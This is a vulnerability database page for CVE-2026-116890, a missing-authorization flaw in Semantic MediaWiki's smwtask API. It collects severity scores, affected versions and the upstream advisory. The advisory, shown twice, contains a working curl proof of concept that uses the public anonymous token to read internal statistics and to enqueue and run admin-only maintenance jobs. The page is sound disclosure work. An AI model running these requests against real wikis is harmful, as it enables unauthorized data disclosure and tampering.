CVE-2026-116890
Semantic MediaWiki 3.0.0 before 7.3.0 Missing Authorization via smwtask API
Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
6.9
Semantic MediaWiki 3.0.0 before 7.3.0 Missing Authorization via smwtask API
Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.
- Record
CVE-2026-116890- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-110718
6.9
Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.
- Record
EUVD-2026-110718- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4cv4-rp7r-qh6c
6.9
Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the...
Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.
- Record
GHSA-4cv4-rp7r-qh6c- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jr78-w6w5-m8f8
7.3
Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks
Summary
The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.
Details
SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.
The only gates on the module are:
needsToken( 'csrf' )— this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.mustBePosted()/isWriteMode()— do not gate on group membership.
By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.
Tasks reachable anonymously through the module include:
table-statistics,duplicate-lookup— return internal store statistics and enumerate the internal object-ID space (intended to be behindSpecial:SMWAdmin→ Supplementary functions).insert-job— enqueues any Semantic MediaWiki job type (includingsmw.fulltextSearchTableRebuild,smw.propertyStatisticsRebuild,smw.entityIdDisposer) for an arbitrary title.update,check-query,run-joblist— run update jobs and#askqueries synchronously within the request;run-joblistpops and executes queued jobs inline.
Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.
Proof of concept
On a default installation, as an unauthenticated visitor:
# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
# -> {"query":{"tokens":{"csrftoken":"+\\"}}}
# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'action=smwtask&task=table-statistics¶ms={}&token=%2B%5C&format=json' \
'https://HOST/api.php'
# -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...
# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
--data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":""}} (job now present in the queue)
# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
--data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}
Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).
Impact
An unauthenticated attacker can:
- Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and…
- Record
GHSA-jr78-w6w5-m8f8- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
NVD
6.9
Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.
- Record
CVE-2026-116890- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-862
- Updated
- 2026-11-03
OSV
6.9
Semantic MediaWiki 3.0.0 before 7.3.0 Missing Authorization via smwtask API
Semantic MediaWiki from 3.0.0 before 7.3.0 contains a missing authorization vulnerability in the api.php smwtask module that allows unauthenticated attackers to run admin-only maintenance tasks. Attackers can use the public anonymous CSRF token to read internal store statistics, enqueue jobs like smw.entityIdDisposer, and execute queued jobs, degrading performance and altering semantic data.
- Record
CVE-2026-116890- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-862
- Updated
- 2026-11-05
OSVGHSA-jr78-w6w5-m8f8
7.3
Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks
Summary
The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.
Details
SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.
The only gates on the module are:
needsToken( 'csrf' )— this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.mustBePosted()/isWriteMode()— do not gate on group membership.
By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.
Tasks reachable anonymously through the module include:
table-statistics,duplicate-lookup— return internal store statistics and enumerate the internal object-ID space (intended to be behindSpecial:SMWAdmin→ Supplementary functions).insert-job— enqueues any Semantic MediaWiki job type (includingsmw.fulltextSearchTableRebuild,smw.propertyStatisticsRebuild,smw.entityIdDisposer) for an arbitrary title.update,check-query,run-joblist— run update jobs and#askqueries synchronously within the request;run-joblistpops and executes queued jobs inline.
Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.
Proof of concept
On a default installation, as an unauthenticated visitor:
# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
# -> {"query":{"tokens":{"csrftoken":"+\\"}}}
# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'action=smwtask&task=table-statistics¶ms={}&token=%2B%5C&format=json' \
'https://HOST/api.php'
# -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...
# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
--data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":""}} (job now present in the queue)
# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
--data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
--data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
# -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}
Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).
Impact
An unauthenticated attacker can:
- Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and…
- Record
GHSA-jr78-w6w5-m8f8- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-862
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mediawiki/semantic-media-wikiPackagist |
3.0.0 to 7.2.1 | 7.3.0 |
mediawiki/semantic-media-wikiPackagist |
3.0.0 up to 7.3.0, plus listed versions 3.0.13.0.23.1.03.1.0-rc.13.1.1 Show 29 moreShow less3.1.23.1.33.1.43.1.53.1.63.2.03.2.0-rc.13.2.0-rc.23.2.13.2.23.2.34.0.04.0.14.0.24.1.04.1.14.1.24.1.34.2.05.0.05.0.15.0.25.1.06.0.06.0.17.0.07.1.07.2.07.2.1 |
7.3.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts, products, references | NVD | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-116890 is a medium vulnerability (CVSS 6.9) in Semantic-mediawiki Semantic Mediawiki, published September 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. Fixed in mediawiki/semantic-media-wiki 7.3.0.
References
github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-jr78-w6w5-m8f8
vulncheck.com/advisories/semantic-mediawiki-3.0.0-before-7.3.0-missing-authorization-via-smwtask-api
nvd.nist.gov/vuln/detail/CVE-2026-116890
github.com/advisories/GHSA-4cv4-rp7r-qh6c
github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.3.0
github.com/advisories/GHSA-jr78-w6w5-m8f8
github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116890.json
github.com/SemanticMediaWiki/SemanticMediaWiki
Left out here: the rest of 2 source descriptions. The JSON record has them.